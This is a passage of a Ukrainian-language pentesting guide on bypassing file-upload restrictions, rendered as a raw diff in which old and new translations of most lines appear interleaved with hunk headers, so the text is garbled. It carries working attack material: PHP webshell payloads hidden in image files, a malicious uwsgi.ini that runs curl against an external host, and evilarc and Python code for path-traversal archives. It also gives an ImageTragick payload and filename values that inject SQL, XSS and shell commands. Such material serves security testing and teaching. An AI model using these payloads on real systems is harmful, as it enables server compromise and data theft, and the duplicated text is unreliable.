6. Спробуйте поставити **exec розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **_**.php**_**, але** не обов'язково закінчується на .php** виконає код):
6. Спробуйте поставити **виконуване розширення перед дійсним розширенням** і сподівайтеся на помилкову конфігурацію сервера. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням** _**.php**_**, але** не обов'язково що закінчується на .php** буде виконувати код):
- _ex: file.php.png_
7. Використання **NTFS альтернативного потоку даних (ADS)** у **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (.e.g. “file.asp::$data.”)
8. Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено двокрапку ":". В результаті на сервері буде створений **порожній файл із забороненим розширенням** (наприклад "file.asax:.jpg”). Цей файл може бути відредагований пізніше іншими техніками, наприклад використовуючи його коротке ім'я файлу. Також можна використати шаблон "**::$data**” для створення не-порожніх файлів. Тому додавання крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад "file.asp::$data.”)
8. Спробуйте перевантажити ліміт імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -59,46 +59,46 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
### Обхід Content-Type, Magic Number, Compression & Resizing
- Обійти **Content-Type** перевірки, встановивши **значення** заголовка **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
- Обійдіть перевірки **Content-Type**, встановивши **значення** заголовка **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Обійти **magic number** перевірку, додавши на початку файлу **байти реального зображення** (заплутати команду _file_). Або введіть оболонку всередину **метаданих**:\
- Обійдіть перевірку **magic number**, додавши на початок файлу **байти справжнього зображення** (заплутати команду _file_). Або вставте шелл всередину **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` або ви також можете **ввести payload безпосередньо** в зображення:\
`\` або ви також можете **вставити payload безпосередньо** в зображення:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **PLTE chunk** [**техніку, визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **IDAT chunk** [**техніку, визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Ще одна техніка для створення payload, який **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **tEXt chunk** [**техніку, визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Якщо до вашого зображення застосовується **сжаття** (наприклад через стандартні PHP-бібліотеки, такі як [PHP-GD](https://www.php.net/manual/fr/book.image.php)), попередні техніки можуть не спрацювати. Проте можна використати **PLTE chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **втримається після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може **змінювати розмір** зображення, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Проте можна використати **IDAT chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **втримається після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Інша техніка для створення payload'а, що **витримує зміну розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Проте можна використати **tEXt chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **втримається після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Інші трюки для перевірки
- Знайдіть вразливість для **перейменування** вже завантаженого файлу (щоб змінити розширення).
- Знайдіть вразливість **Local File Inclusion** для виконання бекдору.
- Знайдіть вразливість, щоб **перейменувати** вже завантажений файл (щоб змінити розширення).
- Знайдіть вразливість **Local File Inclusion**, щоб виконати backdoor.
- **Можливе розкриття інформації**:
1. Завантажте **кілька разів** (і одночасно) **той самий файл** з **тим самим ім'ям**
2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує**
3. Завантажте файл з **“.”, “..”, або “…” як його ім'я**. Наприклад, в Apache у **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** у **NTFS**. (Windows)
5. Завантажте файл у **Windows** з **недійсними символами** такими як `|<>*?”` в його імені. (Windows)
6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена** такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
- Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли випадково відкриється жертвою.
1. Завантажте файл **кілька разів** (і одночасно) з **однаковим іменем**
2. Завантажте файл з **іменем** файлу або папки, яка **вже існує**
3. Завантаження файлу з іменем **"." , "..”, або "…”**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в каталозі "/www/uploads/”, ім'я файлу "." створить файл під назвою "uploads” в каталозі "/www/”.
4. Завантажте файл, який може бути важко видалити, наприклад **"…:.jpg”** в **NTFS**. (Windows)
5. Завантажте файл у **Windows** з **невалідними символами** в імені, такими як `|<>*?”`. (Windows)
6. Завантажте файл у **Windows** з використанням зарезервованих (заборонених) імен, таких як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, та LPT9.
- Також спробуйте **завантажити виконуваний** файл (.exe) або **.html** (менш підозріло), який **виконає код** при випадковому відкритті жертвою.
### Special extension tricks
### Спеціальні трюки з розширеннями
Якщо ви намагаєтеся завантажити файли на **PHP сервер**, [ознайомтеся з трюком **.htaccess** для виконання коду](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Якщо ви намагаєтеся завантажити файли на **ASP сервер**, [ознайомтеся з трюком **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Якщо ви намагаєтеся завантажити файли на **PHP server**, [погляньте на трюк з **.htaccess** для виконання коду](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Якщо ви намагаєтеся завантажити файли на **ASP server**, [погляньте на трюк з **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Файли `.phar` подібні до `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його з php або включаючи його в скрипт...)
Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його через php, або включаючи його всередину скрипта...)
Розширення `.inc` іноді використовується для php файлів, які використовуються лише для **імпорту файлів**, тому в якийсь момент хтось міг дозволити **виконання цього розширення**.
Розширення `.inc` іноді використовують для php файлів, які лише імпортують інші файли, тож інколи може бути дозволено **виконання такого розширення**.
## **Jetty RCE**
Якщо ви можете завантажити XML файл на сервер Jetty, ви можете отримати [RCE, оскільки **нові \*.xml і \*.war автоматично обробляються**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як зазначено на наступному зображенні, завантажте XML файл до `$JETTY_BASE/webapps/` і чекайте оболонку!
Якщо ви можете завантажити XML файл на Jetty server, ви можете отримати [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як згадано на наступному зображенні, завантажте XML файл в `$JETTY_BASE/webapps/` і очікуйте shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -106,9 +106,9 @@ AAA<--SNIP 232 A-->AAA.php.png
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Вразливості віддаленого виконання команд (RCE) можуть бути експлуатовані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
Remote Command Execution (RCE) вразливості можуть бути експлуатовані на uWSGI серверах, якщо є можливість змінити `.ini` конфігураційний файл. Конфігураційні файли uWSGI використовують специфічний синтаксис для включення "magic" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних схем, підтримуваних у uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані зі стандартного виводу процесу. Цю функцію можна використати для зловмисних цілей, таких як Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` конфігураційний файл.
Розгляньте наступний приклад шкідливого файлу `uwsgi.ini`, що демонструє різні схеми:
Розгляньте наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні схеми:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та проаналізована, процес uWSGI повинен бути перезапущений (можливо, після збою або через атаку відмови в обслуговуванні) або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл через певні інтервали при виявленні змін.
Виконання payload відбувається під час парсингу файлу конфігурації. Щоб конфігурацію було активовано й розпарсено, процес uWSGI має бути або перезапущений (потенційно після крашу або через Denial of Service attack), або файл має бути встановлений на auto-reload. Функція auto-reload, якщо ввімкнена, перезавантажує файл через вказані інтервали при виявленні змін.
Важливо зрозуміти м'яку природу парсингу конфігураційного файлу uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
Важливо розуміти вільний характер парсингу файлу конфігурації uWSGI. Зокрема, обговорюваний payload можна вставити в бінарний файл (наприклад, зображення чи PDF), що ще більше розширює можливості експлуатації.
## **wget File Upload/SSRF Trick**
## **wget Трюк завантаження файлів/SSRF**
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **ця перевірка може бути обійдена.**\
Максимальна довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
У деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете вказати **URL**. У таких випадках код може перевіряти, що розширення скачуваних файлів входить у whitelist, щоб гарантувати, що будуть завантажені лише дозволені файли. Однак **цю перевірку можна обійти.**\
Максимальна **довжина** **імені файлу** в **linux****255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл з іменем "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (у цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,63 +157,68 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Зверніть увагу, що **інший варіант**, про який ви можете думати, щоб обійти цю перевірку, - це зробити так, щоб **HTTP сервер перенаправляв на інший файл**, тому початкова URL-адреса обійде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це **не спрацює** **якщо** wget не використовується з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з назвою файлу, вказаною в оригінальній URL-адресі**.
Зауважте, що **ще одна опція**, про яку ви, можливо, думаєте, щоб обійти цю перевірку — змусити **HTTP server перенаправляти на інший файл**, тож початковий URL пройде перевірку, але wget завантажить перенаправлений файл з новим іменем. Це **не спрацює**, **якщо не** використовувати wget з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з іменем файлу, вказаним в оригінальному URL**.
## Інструменти
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) - це потужний інструмент, розроблений для допомоги Pentester'ам та Bug Hunter'ам у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, створений, щоб допомогти Pentesters і Bug Hunters тестувати механізми завантаження файлів. Він використовує різні bug bounty техніки, щоб спростити процес виявлення й експлуатації вразливостей, забезпечуючи ретельну оцінку веб-застосунків.
### Corrupting upload indices with snprintf quirks (historical)
Деякі застарілі upload handlers, які використовують `snprintf()` або подібні функції для побудови multi-file масивів з однофайлового завантаження, можна обдурити, щоб сфальсифікувати структуру `_FILES`. Через непослідовності та усікання в поведінці `snprintf()`, ретельно сформоване одноразове завантаження може виглядати як кілька індексованих файлів на сервері, плутаючи логіку, що очікує певну форму (наприклад, трактуючи як multi-file upload і виконуючи небезпечні гілки). Хоча сьогодні це рідкість, патерн «index corruption» іноді з'являється в CTF і старих кодових базах.
## Від завантаження файлів до інших вразливостей
- Встановіть **filename** на `../../../tmp/lol.png` і спробуйте досягти **перетворення шляху**
- Встановіть **filename** на `sleep(10)-- -.jpg` і ви можете досягти **SQL-ін'єкції**
- Встановіть **filename** на `<svg onload=alert(document.domain)>`, щоб досягти XSS
- Встановіть **filename** на `; sleep 10;`, щоб протестувати деякі ін'єкції команд (більше [триків ін'єкцій команд тут](../command-injection.md))
- [**XSS** в завантаженні файлів зображень (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** файл **завантаження** + **XSS** = [**експлуатація Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE в завантаженні svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Відкрите перенаправлення** через завантаження svg файлу](../open-redirect.md#open-redirect-uploading-svg-files)
- Спробуйте **різні svg payloads** з [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Відома вразливість **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Якщо ви можете **вказати веб-серверу, щоб отримати зображення з URL**, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/index.html). Якщо це **зображення** буде **збережено** на якомусь **публічному** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **вкрасти інформацію про кожного відвідувача**.
- [**XXE та CORS** обхід з завантаженням PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- Спеціально підготовлені PDF для XSS: [наступна сторінка показує, як **впровадити PDF дані для виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних інструкцій.
- Завантажте \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) вміст, щоб перевірити, чи є на сервері якийсь **антивірус**
- Перевірте, чи є якийсь **обмеження за розміром** при завантаженні файлів
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Перевірте, чи існує будь-яке **size limit** при завантаженні файлів
Ось топ-10 речей, які ви можете досягти, завантажуючи (з [тут](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Збережений XSS / SSRF / XXE
3. **GIF**: Збережений XSS / SSRF
4. **CSV**: Ін'єкція CSV
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : Ін'єкція HTML / XSS / Відкрите перенаправлення
8. **PNG / JPEG**: Атака піксельного затоплення (DoS)
9. **ZIP**: RCE через LFI / DoS
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Розширення Burp
#### Burp Extension
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Магічні заголовкові байти
## Магічні байти заголовка
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Дивіться [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) для інших типів файлів.
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## ZIP/Tar файл автоматично розпакований при завантаженні
## Zip/Tar файл, що автоматично розпаковується при завантаженні
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
Якщо ви можете завантажити ZIP, який буде розпаковано всередині сервера, ви можете зробити 2 речі:
### Symlink
Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
Завантажте архів, що містить символічні посилання на інші файли; при доступі до розпакованих файлів ви отримаєте доступ до пов'язаних файлів:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -220,18 +226,18 @@ tar -cvf test.tar symindex.txt
```
### Розпакування в різні папки
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP-архіву можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
Неочікуване створення файлів у директоріях під час розпаковування є серйозною проблемою. Незважаючи на початкові припущення, що така конфігурація може захищати від виконання команд на рівні ОС через завантаження шкідливих файлів, підтримка ієрархічного стиснення та можливості directory traversal формату ZIP можуть бути експлуатовані. Це дозволяє атакуючим обходити обмеження та виходити за межі захищених директорій завантаження, маніпулюючи функцією розпаковування цільового додатка.
Автоматизований експлойт для створення таких файлів доступний на [**evilarc на GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Додатково, **трик з symlink з evilarc** є варіантом. Якщо мета полягає в тому, щоб націлитися на файл, наприклад, `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це забезпечує, що evilarc не зіткнеться з помилками під час своєї роботи.
Крім того, доступний варіант — **symlink trick with evilarc**. Якщо метою є доступ до файлу, наприклад `/flag.txt`, потрібно створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
Нижче наведено приклад коду Python, який використовується для створення шкідливого zip-файлу:
Нижче наведено приклад Python-коду, який використовується для створення зловмисного zip-файлу:
```python
#!/usr/bin/python
import zipfile
@ -249,11 +255,11 @@ zip.close()
create_zip()
```
**Зловживання стисненням для спрейінгу файлів**
**Зловживання компресією для file spraying**
Для отримання додаткової інформації **перегляньте оригінальний пост у**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Для детальнішої інформації **перегляньте оригінальний пост на**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Створення PHP Shell**: PHP код написаний для виконання команд, переданих через змінну `$_REQUEST`.
1. **Creating a PHP Shell**: PHP-код пишеться для виконання команд, переданих через змінну `$_REQUEST`.
```php
<?php
@ -263,14 +269,14 @@ system($cmd);
}?>
```
2. **Спрейінг файлів та створення стисненого файлу**: Створюється кілька файлів, і збирається zip-архів, що містить ці файли.
2. **File Spraying and Compressed File Creation**: Створюються кілька файлів та пакується zip-архів, що містить ці файли.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Модифікація за допомогою Hex Editor або vi**: Імена файлів всередині zip змінюються за допомогою vi або hex editor, змінюючи "xxA" на "../" для переходу між каталогами.
3. **Modification with a Hex Editor or vi**: Імена файлів всередині zip змінюються за допомогою vi або Hex Editor, замінюючи "xxA" на "../" для обходу директорій.
```bash
:set modifiable
@ -280,7 +286,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість **(ImageMagick , 7.0.1-1)** (з [експлойту](https://www.exploit-db.com/exploits/39767))
Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість **(ImageMagick , 7.0.1-1)** (з [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -289,31 +295,31 @@ pop graphic-context
```
## Вбудовування PHP Shell у PNG
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під впливом цих операцій є значною перевагою для певних випадків використання.
Вбудовування PHP Shell у IDAT chunk PNG-файлу може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP Shell залишатися неушкодженим під час цих операцій є значною перевагою для певних сценаріїв використання.
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надано в наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
Детальний розгляд цієї техніки, включно з методологією та можливими застосуваннями, представлений у наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає всебічне розуміння процесу та його наслідків.
Більше інформації в: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Детальніше: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Поліглотні файли
## Polyglot Files
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF та RAR архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі.
Поліглот-файли слугують унікальним інструментом у кібербезпеці, виступаючи хамелеонами, які можуть одночасно коректно існувати у кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який одночасно функціонує як GIF і RAR-архів. Такі файли не обмежуються цією комбінацією; можливі також поєднання типу GIF і JS або PPT і JS.
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних додатках є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
Основна користь поліглот-файлів полягає в їх здатності обійти заходи безпеки, що фільтрують файли за типом. Звична практика в багатьох додатках — дозволяти до завантаження лише певні типи файлів, наприклад JPEG, GIF або DOC, щоб зменшити ризик від потенційно шкідливих форматів (наприклад, JS, PHP або Phar). Однак поліглот, відповідаючи структурним вимогам кількох форматів файлів, може непомітно обминати ці обмеження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) та JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
